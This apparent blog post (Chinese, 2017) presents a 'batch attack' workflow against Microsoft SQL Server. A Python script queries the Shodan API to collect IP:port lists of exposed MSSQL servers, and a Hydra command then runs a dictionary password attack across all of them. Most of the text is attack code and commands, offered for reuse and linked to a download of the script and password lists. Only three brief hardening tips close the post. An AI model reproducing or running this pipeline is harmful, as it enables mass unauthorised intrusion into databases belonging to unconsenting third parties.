基于ShodanPython库的批量攻击实践
作者:admin | 时间:2017-4-20 04:27:29 | 分类:黑客技术 隐藏侧边栏展开侧边栏
拜读了xiaix关于Shodan的全面介绍:《Shodan新手入坑指南》,受益匪浅。SQL Server的弱口令入侵案例层出不穷,利用工具也大量存在,本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。希望能给有类似需求的同学提供参考。
0×01 基本思路
首先利用Shodan的Python库获取并实时处理MSSQL服务器IP及1434端口Banner,得到IP和MSSQL连接端口的组合列表;然后利用Hydra进行字典口令攻击。
SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。 —— 百度百科-1433端口
0×02 实现脚本
# -- coding:utf-8 -- # Python v2.7.10 # MSSQL.py # Written by Gaearrow import shodan
import sys # API_KEY API_KEY = "YOUR_API_KEY" query = "product:\"Microsoft SQL Server\"" # 处理输入 if len(sys.argv) != 3:
print print 'Usage: MSSQL.py <page start:1,2...> <page end:1,2...>' sys.exit(1)
pagestart = int(sys.argv[1])
pageend = int(sys.argv[2])
try:
# 初始化输出文件 ofilename = 'page'+str(pagestart)+'to'+str(pageend)
ofilesrc = ofilename+'_src.txt' ofileip = ofilename+'_ip.txt' fsrc = open(ofilesrc,'w')
fip = open(ofileip,'w')
# 统计变量 numofport = 0 numofnoport = 0 rstlist = 0
# 逐页检索 api = shodan.Shodan(API_KEY)
rsttotal = api.count(query)
maxpage = (rsttotal['total']+99)/100 if pageend > maxpage:
pageend = maxpage
for page in range(pagestart,pageend+1):
result = api.search(query,page)
for mssql in result['matches']:
# 从Banner中解析MSSQL的连接端口 ## 删除换行 ip = mssql['ip_str'].strip('\n')
## Ignore IPv6 if len(ip) > 15:
continue ## 跳过特殊字符 banner = mssql['data'][3:]
## 检查Banner if banner.find('ServerName') < 0:
continue pos = banner.find('tcp;')
if pos > 0:
strlist = banner[pos:].split(';')
if strlist[1].find('np') < 0:
### tcp;1234;np;.. ipport = ip+':'+strlist[1]
numofport = numofport + 1 else:
### tcp;np;.. ipport = ip+":1433" numofnoport = numofnoport + 1 else:
### no 'tcp;' ipport = ip+":1433" numofnoport = numofnoport + 1 print >>fip,ipport
print >>fsrc,mssql['ip_str']
print >>fsrc,mssql['data'][3:]
rstlist = rstlist + 1 # 打印统计信息 print >>fsrc,'===================================' print >>fsrc,'Shodan Summary Information' print >>fsrc,'Query : ', query
print >>fsrc,'Total Results : ', rsttotal['total']
print >>fsrc,'List Results : ', rstlist
print >>fsrc,'Page Start : ', pagestart
print >>fsrc,'Page End : ', pageend
print >>fsrc,'Port Assigned : ',numofport
print >>fsrc,'Port Unassigned : ',numofnoport
print >>fsrc,'===================================' except Exception as e:
print 'Error: %s' % e
sys.exit(1)
fsrc.close()
fip.close()
0×03 执行示例
执行环境
root@kali2:~/app/mssqlnew# uname -a Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux root@kali2:~/app/mssqlnew# python -V Python 2.7.9
获取地址端口组合列表
root@kali2:~/app/mssqlnew# python MSSQL.py 1 10
page1to10_src.txt
page1to10_ip.txt
hydra字典攻击
攻击耗时及成功率与用户、口令字典有紧密关系,网络带宽也影响速度。
root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql
0×04 安全建议
设置MSSQL仅限本地连接
修改MSSQL的默认连接端口
分级配置各类数据库用户权限
脚本及字典下载地址:Github Download
*本文作者:gaearrow